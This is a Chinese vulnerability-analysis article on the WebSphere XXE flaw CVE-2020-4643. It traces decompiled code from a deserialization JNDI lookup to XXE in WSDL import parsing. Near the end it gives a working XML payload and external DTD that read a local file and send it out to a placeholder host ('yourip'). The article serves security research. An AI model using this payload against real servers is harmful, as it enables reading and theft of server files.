专栏首页Seebug漏洞平台WebSphere XXE 漏洞分析(CVE-2020-4643)

WebSphere XXE 漏洞分析(CVE-2020-4643)

作者:Longofo@知道创宇404实验室 & r00t4dm@奇安信A-TEAM 时间:2020年9月22日

前言

2020年9月17日,IBM发布了一个WebSphere XXE漏洞公告[1]。当时看到这个消息心想我们挖的那个XXE很可能与这个重了。然后看了下补丁,果不其然,当时心里就很遗憾,本来是打算一起找到一个RCE漏洞在一起提交XXE漏洞的,因为害怕提交了XXE官方把反序列化入口也封了,例如CVE-2020-4450,直接封掉了反序列化入口。奈何WebSphere找了一两周也没什么发现,后来正打算把XXE提交了,就看到官方发布了公告,看了下作者,是绿盟的一位大佬,也是CVE-2020-4450的发现者之一,这些默默挖洞的大佬,只可远观眺望啊。WebSphere的分析似乎挺少,聊聊几篇分析,不像Weblogic那样量产漏洞,单是一个高版本sdk就拦截了很多链或者说连接可用链的点,心想与其烂在手里,还不如分享出来,下面写下我们发现过程,其实重要的不是这个XXE,而是到达XXE这个点的前半部分。

补丁

先来看看补丁,只能看出是修复了一个XXE,不知道是哪儿的XXE:

可以看出这里是修复了一个XXE漏洞,但是这只是一个Utils,我们找到的那个XXE刚好也用了这个Utils。

漏洞分析

最开始研究WebSphere就是前不久的CVE-2020-4450,这个漏洞外面已经有分析了。为了更熟悉一点WebSphere,我们也去研究了历史补丁,例如印象比较深的就是前不久的CVE-2020-4276,这个漏洞算是历史漏洞CVE-2015-7450的认证方式绕过,RCE的过程与CVE-2015-7450没区别。后面意外的找到另一个反序列化入口,在确认了已经无法在历史漏洞上做文章的时,只好从readObject、readExternal、toString、compare等函数去尝试找下了,后来在一个readObject找到一个能JNDI注入的地方,但是由于sdk高版本的原因,能利用的方式就只能是本地factory或利用jndi本地反序列化了,但是WebSphere公开的利用链都被堵上了,本地反序列化其实没什么作用在这里,所以只剩下看本地Factory了。反序列化入口暂时先不给出,可能这样的反序列化入口还有很多,我们碰巧遇到了其中一个,如果后面有幸找到了RCE漏洞,就把我们找到的入口写出来,下面从那个readObject中的JNDI开始吧。

com.ibm.ws.ejb.portable.EJBMetaDataImpl#readObject中:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        try {
            in.defaultReadObject();
            ...
            ...
            this.ivStatelessSession = in.readBoolean();
            ClassLoader loader = (ClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return Thread.currentThread().getContextClassLoader();
                }
            });
            this.ivBeanClassName = in.readUTF();
            this.ivHomeClass = loader.loadClass(in.readUTF());
            this.ivRemoteClass = loader.loadClass(in.readUTF());
            if (!this.ivSession) {
                this.ivPKClass = loader.loadClass(in.readUTF());
            }

            this.ivHomeHandle = (HomeHandle)in.readObject();
            EJBHome ejbHomeStub = this.ivHomeHandle.getEJBHome();//ivHomeHandle是一个接口,我们找到了HomeHandleImpl,里面进行了JNDI查询,并且url可控
            this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ejbHomeStub, this.ivHomeClass);//如果跟踪过CVE-2020-4450就能感觉到,这里十分类似CVE-2020-4450,不过缺少了后续的调用,无法像CVE-2020-4450利用WSIF的方式触发后续的RCE,WSIF之前那个XXE也被修复了
        } catch (IOException var6) {
            throw var6;
        } catch (ClassNotFoundException var7) {
            throw var7;
        }
    }

com.ibm.ws.ejb.portable.HomeHandleImpl#getEJBHome如下:

public EJBHome getEJBHome() throws RemoteException {
        if (this.ivEjbHome == null) {
            NoSuchObjectException re;
            ...
            ...
                InitialContext ctx;
                try {
                    if (this.ivInitialContextProperties == null) {
                        ctx = new InitialContext();
                    } else {
                        try {
                            ctx = new InitialContext(this.ivInitialContextProperties);
                        } catch (NamingException var5) {
                            ctx = new InitialContext();
                        }
                    }

                    this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);//进行了JNDI查询,ivJndiName是属性,很容易控制
                } catch (NoInitialContextException var6) {
                    Properties p = new Properties();
                    p.put("java.naming.factory.initial", "com.ibm.websphere.naming.WsnInitialContextFactory");
                    ctx = new InitialContext(p);
                    this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);
                }
            ...
            ...

        return this.ivEjbHome;
    }

如果是sdk低版本,直接就是外部加载factory rce利用了,但是天不随人愿,如果这么容易就不会有CVE-2020-4450那种复杂的利用了。

接下来就只能一个一个看本地的factory了,也不多大概几十个,一个一个看吧。在com.ibm.ws.webservices.engine.client.ServiceFactory#getObjectInstance中,找到了那个XXE:

public Object getObjectInstance(Object refObject, Name name, Context nameCtx, Hashtable environment) throws Exception {
        Object instance = null;
        if (refObject instanceof Reference) {
            Reference ref = (Reference)refObject;
            RefAddr addr = ref.get("service classname");
            Object obj = null;
            if (addr != null && (obj = addr.getContent()) instanceof String) {
                instance = ClassUtils.forName((String)obj).newInstance();
            } else {
                addr = ref.get("WSDL location");
                if (addr != null && (obj = addr.getContent()) instanceof String) {
                    URL wsdlLocation = new URL((String)obj);
                    addr = ref.get("service namespace");
                    if (addr != null && (obj = addr.getContent()) instanceof String) {
                        String namespace = (String)obj;
                        addr = ref.get("service local part");
                        if (addr != null && (obj = addr.getContent()) instanceof String) {
                            String localPart = (String)obj;
                            QName serviceName = QNameTable.createQName(namespace, localPart);
                            Class[] formalArgs = new Class[]{URL.class, QName.class};
                            Object[] actualArgs = new Object[]{wsdlLocation, serviceName};
                            Constructor ctor = Service.class.getDeclaredConstructor(formalArgs);
                            instance = ctor.newInstance(actualArgs);//调用了Service构造函数
                        }
                    }
                }
            }

            addr = ref.get("maintain session");
            if (addr != null && instance instanceof Service) {
                ((Service)instance).setMaintainSession(true);
            }
        }

        return instance;
    }

com.ibm.ws.webservices.engine.client.Service#Service(java.net.URL, javax.xml.namespace.QName),在构造函数中:

public Service(URL wsdlLocation, QName serviceName) throws ServiceException {
        if (log.isDebugEnabled()) {
            log.debug("Entry Service(URL, QName)  " + serviceName.toString());
        }

        this.serviceName = serviceName;
        this.wsdlLocation = wsdlLocation;
        Definition def = cachingWSDL ? (Definition)cachedWSDL.get(wsdlLocation.toString()) : null;
        if (def == null) {
            Document doc = null;

            try {
                doc = XMLUtils.newDocument(wsdlLocation.toString());//wsdlLocation外部可控,这里XMLUtils.newDocument进去就请求了wsdlLocation获取xml文件并解析
            } catch (Exception var8) {
                FFDCFilter.processException(var8, "com.ibm.ws.webservices.engine.client.Service.initService", "199", this);
                throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var8));
            }

            try {
                WSDLFactory factory = new WSDLFactoryImpl();
                WSDLReader reader = factory.newWSDLReader();
                reader.setFeature("javax.wsdl.verbose", false);
                def = reader.readWSDL(wsdlLocation.toString(), doc);//一开始我们只停留在了上面那个XMLUtils.newDocument,利用那儿的异常带不出去数据,由于是高版本sdk,外带也只能带一行数据。后来看到reader.readWSDL进去还能利用另一种方式外带全部数据
                if (cachingWSDL) {
                    cachedWSDL.put(wsdlLocation.toString(), def);
                }
            } catch (Exception var7) {
                FFDCFilter.processException(var7, "com.ibm.ws.webservices.engine.client.Service.initService", "293", this);
                throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var7));
            }
        }

        this.initService(def);
        if (log.isDebugEnabled()) {
            log.debug("Exit Service(URL, QName)  ");
        }

    }

com.ibm.wsdl.xml.WSDLReaderImpl#readWSDL(java.lang.String, org.w3c.dom.Document)之后,会调用到一个com.ibm.wsdl.xml.WSDLReaderImpl#parseDefinitions

protected Definition parseDefinitions(String documentBaseURI, Element defEl, Map importedDefs) throws WSDLException {
    checkElementName(defEl, Constants.Q_ELEM_DEFINITIONS);
    WSDLFactory factory = this.getWSDLFactory();
    Definition def = factory.newDefinition();
    if (this.extReg != null) {
        def.setExtensionRegistry(this.extReg);
    }

    String name = DOMUtils.getAttribute(defEl, "name");
    String targetNamespace = DOMUtils.getAttribute(defEl, "targetNamespace");
    NamedNodeMap attrs = defEl.getAttributes();
    if (importedDefs == null) {
        importedDefs = new Hashtable();
    }

    if (documentBaseURI != null) {
        def.setDocumentBaseURI(documentBaseURI);
        ((Map)importedDefs).put(documentBaseURI, def);
    }

    if (name != null) {
        def.setQName(new QName(targetNamespace, name));
    }

    if (targetNamespace != null) {
        def.setTargetNamespace(targetNamespace);
    }

    int size = attrs.getLength();

    for(int i = 0; i < size; ++i) {
        Attr attr = (Attr)attrs.item(i);
        String namespaceURI = attr.getNamespaceURI();
        String localPart = attr.getLocalName();
        String value = attr.getValue();
        if (namespaceURI != null && namespaceURI.equals("http://www.w3.org/2000/xmlns/")) {
            if (localPart != null && !localPart.equals("xmlns")) {
                def.addNamespace(localPart, value);
            } else {
                def.addNamespace((String)null, value);
            }
        }
    }

    for(Element tempEl = DOMUtils.getFirstChildElement(defEl); tempEl != null; tempEl = DOMUtils.getNextSiblingElement(tempEl)) {
        if (QNameUtils.matches(Constants.Q_ELEM_IMPORT, tempEl)) {
            def.addImport(this.parseImport(tempEl, def, (Map)importedDefs));
        } else if (QNameUtils.matches(Constants.Q_ELEM_DOCUMENTATION, tempEl)) {
            def.setDocumentationElement(tempEl);
        } else if (QNameUtils.matches(Constants.Q_ELEM_TYPES, tempEl)) {
            def.setTypes(this.parseTypes(tempEl, def));
        } else if (QNameUtils.matches(Constants.Q_ELEM_MESSAGE, tempEl)) {
            def.addMessage(this.parseMessage(tempEl, def));
        } else if (QNameUtils.matches(Constants.Q_ELEM_PORT_TYPE, tempEl)) {
            def.addPortType(this.parsePortType(tempEl, def));
        } else if (QNameUtils.matches(Constants.Q_ELEM_BINDING, tempEl)) {
            def.addBinding(this.parseBinding(tempEl, def));
        } else if (QNameUtils.matches(Constants.Q_ELEM_SERVICE, tempEl)) {
            def.addService(this.parseService(tempEl, def));
        } else {
            def.addExtensibilityElement(this.parseExtensibilityElement(Definition.class, tempEl, def));
        }
    }

    this.parseExtensibilityAttributes(defEl, Definition.class, def, def);
    return def;
}

com.ibm.wsdl.xml.WSDLReaderImpl#parseImport:

protected Import parseImport(Element importEl, Definition def, Map importedDefs) throws WSDLException {
        Import importDef = def.createImport();

        String locationURI;
        try {
            String namespaceURI = DOMUtils.getAttribute(importEl, "namespace");
            locationURI = DOMUtils.getAttribute(importEl, "location");//获取location属性
            String contextURI = null;
            if (namespaceURI != null) {
                importDef.setNamespaceURI(namespaceURI);
            }

            if (locationURI != null) {
                importDef.setLocationURI(locationURI);
                if (this.importDocuments) {
                    try {
                        contextURI = def.getDocumentBaseURI();
                        Definition importedDef = null;
                        InputStream inputStream = null;
                        InputSource inputSource = null;
                        URL url = null;
                        if (this.loc != null) {
                            inputSource = this.loc.getImportInputSource(contextURI, locationURI);
                            String liu = this.loc.getLatestImportURI();
                            importedDef = (Definition)importedDefs.get(liu);
                            if (inputSource.getSystemId() == null) {
                                inputSource.setSystemId(liu);
                            }
                        } else {
                            URL contextURL = contextURI != null ? StringUtils.getURL((URL)null, contextURI) : null;
                            url = StringUtils.getURL(contextURL, locationURI);
                            importedDef = (Definition)importedDefs.get(url.toString());
                            if (importedDef == null) {
                                inputStream = StringUtils.getContentAsInputStream(url);//进行了请求,可以通过这个请求将数据外带,但是还是有些限制,例如有&或"等字符的文件会报错导致带不了
                                ...
                                ...

xml payload:

xml如下:
<!DOCTYPE x [
  <!ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini">
  <!ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd">
  %bbb;
]>
<definitions name="HelloService" xmlns="http://schemas.xmlsoap.org/wsdl/">
  &ddd;
</definitions>

xx.dtd如下:
<!ENTITY % ccc '<!ENTITY ddd '<import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>'>'>%ccc;

最后

我们只看了浮在表面上的一些地方,人工最多只看了两层调用,也许RCE隐藏在更深的地方或者知识盲点现在没找到呢,还是得有个属于自己的能查找链的工具,工具不会累,人会。

References

[1] 漏洞公告:

https://www.ibm.com/support/pages/security-bulletin-websphere-application-server-vulnerable-information-exposure-vulnerability-cve-2020-4643

本文分享自微信公众号 - Seebug漏洞平台(seebug_org),作者:404实验室

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-09-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • MIMIC Defense CTF 2019 final writeup

    上周有幸去南京参加了强网杯拟态挑战赛,运气比较好拿了第二名,只是可惜是最后8分钟被爆了,差一点儿真是有点儿可惜。

    Seebug漏洞平台
  • 当代 Web 的 JSON 劫持技巧

    Benjamin Dumke-von der Ehe 发现了一种有趣的跨域窃取数据的方法。使用JS 代理,他能够创建一个 handler,可以窃取未定义的 Ja...

    Seebug漏洞平台
  • Mybb 18.20 From Stored XSS to RCE 分析

    2019年6月11日,RIPS团队在团队博客中分享了一篇MyBB <= 1.8.20: From Stored XSS to RCE[1],文章中主要提到了一个...

    Seebug漏洞平台
  • Android – 在Gradle中更改APK文件名

    code_horse
  • 干货|Kotlin入门第一课:从对比Java开始

    1.介绍 今年初,甲骨文再次对谷歌所谓的安卓侵权使用Java提起诉讼,要求后者赔偿高达90亿美元。随后便传出谷歌因此计划将主力语言切换到苹果主导的Swift,不...

    灯塔大数据
  • @NotEmpty、@NotBlank、@NotNull三种注解的区别

    用在集合类上面 加了@NotEmpty的String类、Collection、Map、数组,是不能为null或者长度为0的(String Collectio...

    chenchenchen
  • 对Python3+gdal 读取tiff格式数据的实例讲解

    im_data = dataset.ReadAsArray(0,0,im_width,im_height)#获取数据 这句报错

    砸漏
  • 【java开发系列】—— java输入输出流

    前言   任何语言输入输出流都是很重要的部分,比如从一个文件读入内容,进行分析,或者输出到另一个文件等等,都需要文件流的操作。这里简单介绍下reader,w...

    用户1154259
  • rtmp、m3u8直播小记

    最近项目做跟视频有关的,一个是直播,一个是播放视频。使用video标签。视频直播有很多协议,rtmp、rtsp、hls等就自己去了解,业务有做到就会了解一些。

    wade
  • Android编程实现获取多媒体库视频、音频、图片的方法

    本文实例讲述了Android编程实现获取多媒体库视频、音频、图片的方法。分享给大家供大家参考,具体如下:

    砸漏

扫码关注云+社区

领取腾讯云代金券